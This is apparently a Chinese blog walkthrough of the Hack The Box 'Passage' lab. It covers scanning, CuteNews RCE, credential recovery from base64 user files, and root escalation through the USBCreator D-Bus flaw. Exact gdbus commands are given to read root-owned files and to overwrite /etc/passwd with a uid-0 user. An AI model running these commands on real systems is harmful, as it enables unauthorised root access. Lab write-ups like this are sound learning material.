HTB 学习笔记
【Hack The Box】linux练习-- Passage
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- rss
- 分析
- 提权
- navad->root
- USBCreator
- 读取
- 写入
信息收集
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
获得以下信息
admin - nadav@passage.htb
Paul Coles - paul@passage.htb
Kim Swift - kim@example.com
Sid Meier - sid@example.com
James - james@example.com
进行了一下目录扫描
直接崩了,有waf
rss
页面右侧rss按钮源码显示xml发现url还显示了一个页面
尝试
去掉rss.php显示登录页面发现左上角标题显示这是个cms
存在许多漏洞,尝试发现版本信息
我将注册并登陆
存在文件上传
并且逛着逛着发现
版本2.1.2
没毛病,开始利用rce
随便找一个都能用
这里就不举例了
去到/home
发现两个用户
nadav
paul
我目前试图寻找其中任何一个用户的密码
我的第一思路是在数据库中获得
但是当我在他的github中看这个cms的时候,我发现他好像并没有数据库
那我就有点不会了,我先看看别的,作为一个www用户,我要开始下面的进程
分析
作为www用户,我第一步往往是在var内搜索
/var/www/html/CuteNews/cdata/users
发现了很多用户的base64
发现会包含密码,但是不是这个文件
最终获得的凭证为下面的这个,其他的base64解码之后没有任何的密码字段
paul:atlanta1
su paul
提权
我的linpeas提醒我一个漏洞点
接着我寻求更稳定的shell
我尝试去拿ssh
发现署名是nadav
那我估计可以搞到这个用户了
现在把私钥复制粘贴出来
在我给予私钥600权限后,他可以正常使用
navad->root
作为一个用户,我将在用户目录下细致的查看,通常使用ls -la
我发现了两个奇怪可疑的东西
viminfo是一个vim的历史日志一类的东西
提到了
如下两个文件
/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
这两个东西,但是我都不具有权限
USBCreator
缺陷
允许有权访问 sudoer 组中用户的攻击者绕过 sudo 程序强加的密码安全策略。 该漏洞允许攻击者以 root 身份覆盖具有任意内容的任意文件,而无需提供密码。 这通常会导致特权提升,例如,通过覆盖影子文件并为 root 设置密码。
读取
利用这个漏洞非常简单。 它需要一个 shell 作为sudo组,如果我有 nadav 的密码,我可能会 sudo su -得到一个壳,但我没有。
我会用这个错误来复制 root.txt到一个不存在的文件,比如 /dev/shm/.0xdf:
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /dev/shm/dashabi true
cat /dev/shm/dashabi
写入
cp /etc/passwd passwd
openssl passwd -1 rong
echo 'rong:$1$7P/yeC8J$z2eywF.JUPm21Dx0IqVEp.:0:0:pwned:/root:/bin/bash' >> passwd
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/passwd /etc/passwd true
su rong